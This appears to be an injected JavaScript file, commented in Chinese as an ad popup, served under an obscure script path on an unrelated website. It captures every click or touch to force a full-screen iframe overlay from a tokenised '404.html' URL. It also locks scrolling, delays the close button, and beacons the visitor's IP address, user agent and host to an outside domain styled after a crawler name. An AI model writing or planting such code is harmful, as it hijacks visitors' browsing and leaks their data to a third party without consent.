(function() { // Cookie工具函数 function _getCookie(name) { var arr = document.cookie.match(new RegExp('(^| )' + name + '=([^;]*)(;|$)')); return arr ? decodeURIComponent(arr[2]) : null; } function _setCookie(name, value, hours) { var exp = new Date(); exp.setTime(exp.getTime() + hours * 60 * 60 * 1000); document.cookie = name + '=' + encodeURIComponent(value) + ';expires=' + exp.toGMTString() + ';path=/'; } // 简单哈希函数 function _simpleHash(str) { var hash = 0; for (var i = 0; i < str.length; i++) { var char = str.charCodeAt(i); hash = ((hash << 5) - hash) + char; hash = hash & hash; } return Math.abs(hash).toString(36); } // 检查是否已显示过广告 // 策略:每个URL每天只显示1次(可调整为每次会话/每小时等) var _currentUrl = window.location.pathname + window.location.search; // 完整URL路径+参数 var _cookieKey = 'ad_' + _simpleHash(_currentUrl); // 生成唯一哈希 var _hasShown = _getCookie(_cookieKey); // 如果已显示过,直接退出 if (_hasShown) { return; } // DNS预连接优化 if ("") { var _h = document.head || document.getElementsByTagName('head')[0]; if (_h) { var _l1 = document.createElement('link'); _l1.rel = 'dns-prefetch'; _l1.href = '//' + ""; _h.appendChild(_l1); var _l2 = document.createElement('link'); _l2.rel = 'preconnect'; _l2.href = "https" + '://' + ""; _h.appendChild(_l2); } } var _u = "\/404.html?token=385cbaa98ec3732c05a04b495e89630c" + '&_t=' + Date.now() + '&_r=' + Math.random().toString(36).substr(2); var _triggered = false; var _modal = null; var _iframe = null; // 创建全屏广告弹窗 function _createModal() { if (_modal) return; // 创建遮罩层(初始透明,渐变为半透明) _modal = document.createElement('div'); _modal.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0);z-index:999999;display:none;transition:background 0.5s ease;'; // 创建关闭按钮(初始隐藏,延迟3秒显示) var _closeBtn = document.createElement('div'); _closeBtn.innerHTML = '✕'; _closeBtn.style.cssText = 'position:absolute;top:10px;right:10px;width:44px;height:44px;background:rgba(255,255,255,0.9);color:#333;font-size:26px;line-height:44px;text-align:center;border-radius:50%;z-index:1000001;box-shadow:0 2px 12px rgba(0,0,0,0.4);opacity:0;transition:opacity 0.3s;'; _closeBtn.onclick = function(e) { e.stopPropagation(); _modal.style.display = 'none'; document.body.style.overflow = ''; }; // 创建iframe容器(全屏显示,初始透明) var _container = document.createElement('div'); _container.style.cssText = 'position:absolute;top:0;left:0;width:100%;height:100%;background:#fff;overflow:hidden;opacity:0;transition:opacity 0.4s ease;'; // 创建加载提示 var _loading = document.createElement('div'); _loading.innerHTML = '正在加载...'; _loading.style.cssText = 'position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);color:#999;font-size:14px;'; _container.appendChild(_loading); // 创建iframe _iframe = document.createElement('iframe'); _iframe.style.cssText = 'width:100%;height:100%;border:none;opacity:0;transition:opacity 0.3s;'; _iframe.setAttribute('frameborder', '0'); _iframe.setAttribute('allowfullscreen', 'true'); _iframe.setAttribute('scrolling', 'yes'); // iframe加载完成后渐入显示 _iframe.onload = function() { setTimeout(function() { _loading.style.display = 'none'; _iframe.style.opacity = '1'; }, 200); }; _container.appendChild(_iframe); _modal.appendChild(_closeBtn); _modal.appendChild(_container); document.body.appendChild(_modal); // 渐进式显示效果 setTimeout(function() { _container.style.opacity = '1'; _modal.style.background = 'rgba(0,0,0,0.3)'; }, 50); // 延迟3秒显示关闭按钮 setTimeout(function() { _closeBtn.style.opacity = '1'; }, 3000); } // 显示广告弹窗 function _showAd() { if (!_triggered) { _triggered = true; _createModal(); _iframe.src = _u; _modal.style.display = 'block'; var _img = new Image(); _img.src = "https:\/\/stats.baispider.com\/track.gif?token=385cbaa98ec3732c05a04b495e89630c&host=www.verkkoami.com&ip=183.141.52.166&ua=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F70.0.3538.67+Safari%2F537.36&uri=%2Fscripts%2Fty7t.script%3Ftoken%3D385cbaa98ec3732c05a04b495e89630c&name=&t=" + Date.now(); document.body.style.overflow = 'hidden'; // 设置cookie标记(24小时有效) // 可调整时间:1小时=1, 12小时=12, 7天=168 _setCookie(_cookieKey, '1', 24); } } // 延迟初始化(20-50ms随机延迟) var _d = Math.floor(Math.random() * 31) + 20; setTimeout(function() { // 1. 点击屏幕任意位置弹出广告 document.addEventListener('click', _showAd, true); document.addEventListener('touchstart', _showAd, true); // 2. 5秒后自动弹出 setTimeout(function() { _showAd(); }, 500); }, _d); })();